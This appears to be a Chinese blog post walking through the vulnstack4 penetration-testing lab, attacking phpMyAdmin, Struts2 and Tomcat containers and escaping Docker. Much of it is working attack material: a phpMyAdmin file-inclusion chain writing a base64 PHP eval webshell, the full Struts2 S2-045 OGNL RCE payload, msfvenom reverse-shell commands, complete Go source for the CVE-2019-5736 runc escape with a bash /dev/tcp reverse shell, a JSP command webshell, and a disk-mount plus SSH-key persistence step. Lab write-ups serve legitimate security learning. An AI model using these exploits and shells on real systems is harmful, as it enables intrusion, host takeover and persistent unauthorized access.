vulnstack4靶场记录

发布于 2022-01-11  6 次阅读


nmap 192.168.19.128/24

Nmap scan report for 192.168.19.131 Host is up (0.00035s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 2001/tcp open dc Jetty 9.2.11.v20150529 Struts2 Showcase - Fileupload sample 2002/tcp open globe Apache Tomcat 8.5.19 2003/tcp open finger MAC Address: 00:0C:29:8A:6C:09 (VMware) mysql | phpMyAdmin 4.8.1

2003记录版本信息:

mysql:5.5.62 apache:2.4.25 php:7.2 phpmyadmin:4.8.1

2002记录版本信息:

tomcat:8.5.19

尝试

phpmyadmin4.8.1入口

数据库文件包含

mysql执行

USE test;
create table test(code varchar(100));
insert into test(code) values("<?php phpinfo();?>");

show global variables like "%datadir%";

构造利用目录穿越漏洞

http://192.168.19.131:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../var/lib/mysql/test/test.MYD

(返回了路径不对的错误)

数据库文件包含(改进)

这里进了靶机的docker里看了一下,确实只有frm表结构文件(用来保存每个数据表的元数据 (meta)信息),没有MYD数据。而如过mysql使用默认数据库引擎是InnoDB,则不会生成.MYD。除非在建立表的时候,显式指定数据库储存引擎,建表语句示例:

create table testDb1 (columnName varchar(50)) engine=MyISAM ;

重新尝试一下

USE test;
create table test(code varchar(100)) engine=MyISAM;
insert into test(code) values("<?php phpinfo();?>");

show global variables like "%datadir%";

可以看到文件MYD已经被创造了。但是在本靶场中不可利用,mysql的数据库物理文件被隔离在另一个容器里,phpmyadmin的文件读取只能读取到phpmyadmin容器里的文件。而dockercompose创建了mysql和hphpmyadmin两个容器。

session文件路径包含

mysql执行SELECT "<?php phpinfo();?>”

如上图的到phpmyadmin的session:be14d1cfca046a39a60a6f5206880082

http://192.168.19.131:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_be14d1cfca046a39a60a6f5206880082

用bp传过去成功率比较高

改成写入木马

SELECT ‘<?php file_put_contents("matoujin.php",base64_decode(”PD9waHAgZXZhbCgkX1BPU1RbIm1hdG91amluIl0pPz4=”));?>’

再如之前访问phpinfo()一样去访问一下日志文件,使之产生文件matoujin.php文件,然后就可以用蚁剑连接

struct2入口

[18:09:29] [WARN] Apache OFBiz: CVE-2021-26295 connectio[18:09:30] [+] The target is Apache Struts2: S2-045 [rce] [cmd: echo 5b7c0a7bdca99223e1c3dc69bb47946c]

python3 vulmap.py -u 192.168.19.132:2001/doUpload.action -v "S2-045"就能拿到shell

但是还是看一下是怎么一回事

影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10

当content-type中出现"multipart/form_data"时,会被认为有文件上传,是对字段Content-type的解析问题,poc的利用还是能够稍微看的懂的

Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

手动抓包修改一下,中间cmd就是执行的命令,这里可以看到直接返回了root权限

几种docker逃逸的尝试

这里一开始用phpmyadmin利用

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=4444 -f elf > mshell.elf

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

首先需要判断服务器是否为docker环境。常用的判断方法有两种。

  1. 是否存在.dockerenv文件ls -alh /.dockerenv
  2. 查询系统进程的cgroup信息cat /proc/1/cgroup

Docker逃逸 CVE-2019-5736(反正不能成功)

初识Docker逃逸 - FreeBuf网络安全行业门户待学习

原理:Docker、containerd或者其他基于runc的容器在运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

影响版本:平台或产品 受影响版本Docker Version < 18.09.2 runC Version <= 1.0-rc6

poc:

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// <https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d>
import (
	"fmt"
	"io/ioutil"
	"os"
	"strconv"
	"strings"
	"flag"
)

var shellCmd string = "bash -i >& /dev/tcp/192.168.19.128/8000 0>& 1"

func init() {
	flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
	flag.Parse()
}

func main() {
	// This is the line of shell commands that will execute on the host
	var payload = "#!/bin/bash \\n" + shellCmd
	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("[+] Overwritten /bin/sh successfully")

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			fmt.Println("[+] The command executed is" + payload)
			writeHandle.Write([]byte(payload))
			return
		}
	}
}

#kali安装go环境
cd /usr/local
wget <https://studygolang.com/dl/golang/go1.15.11.linux-amd64.tar.gz>
tar -xzf go1.15.11.linux-amd64.tar.gz
vim /etc/profile
添加 export PATH=$PATH:/usr/local/go/bin
source /etc/profile

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

编译得到可执行文件,想要上传main文件时,到home目录时,发现权限不够。

没办法,**只好从struct2入手,根据phpmyadmin是部署在docker,那么struct应该也是了。**思路就是,再kali上开python-http,然后2001端口容器执行wget下载刚准备好的main,再执行反弹到msf。

(唔,上面传成.go了,后来重新传了)

然后要chmod777。怪了,用bp发送最后执行main文件的时候就没有回显了。监听端口也没有收到反馈。

—privileged特权模式逃逸

简述原理:—privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

前面用bp发命令太慢了,就转到vulmap提供的shell上去,用wget传输msfshell, 把shell移到msf上去。

检测当前环境是否是特权模式启动

cat /proc/self/status | grep CapEff

如果是以特权模式启动,那么CapEff:为0000003fffffffff

如图所示,并不是

Dirty COW漏洞逃逸 CVE-2016-5195

用一个脚本跑一跑就好,具体分析暂搁置

利用tomcat漏洞+docker逃逸

根据tomcat8.5.19版本找到CVE-2017-12615

利用条件:当web.xml中配置readonly设置为false时可以通过PUT/DELETE进行文件操控。再利用windows下文件名解析的漏洞来触发的。根本是通过构造特殊后缀名,绕过Tomcat检测

**文件名绕过方式:**shell.jsp%20 shell.jsp::$DATA shell.jsp/

JSP页面马

<%@ page import="java.util.*,java.io.*,java.net.*"%>
 <%
 %>
 <HTML><BODY>
 <FORM METHOD="POST" NAME="myform" ACTION="">
 <INPUT TYPE="text" NAME="cmd">
 <INPUT TYPE="submit" VALUE="Send">
 </FORM>
 <pre>
 <%
 if (request.getParameter("cmd") != null) {
         out.println("Command: " + request.getParameter("cmd") + "\\n<BR>");
         Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
         OutputStream os = p.getOutputStream();
         InputStream in = p.getInputStream();
         DataInputStream dis = new DataInputStream(in);
         String disr = dis.readLine();
         while ( disr != null ) {
                 out.println(disr); disr = dis.readLine(); }
         }
 %>
 </pre>
 </BODY></HTML>

然后wget msf马

这里再看cat /proc/self/status | grep CapEff

mkdir /hack

mount /dev/sda1 /hack

将sda1挂载成功,我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的

然后kali生成本地ssh密钥

ssh-keygen -f hack

chmod 600 hack

生成密钥文件pub,复制一下重名为authorized_keys,用meterpreter upload到/hack/home/ubuntu/.ssh/中,然后chmod 700

ssh -i hack ubuntu@192.168.19.132

登录成功(

后面的操作看起来雷同,就没有实操。

后面的新知识点就是正向马和域提权

MS14-068域提权漏洞复现


间桐桜のお菓子屋さん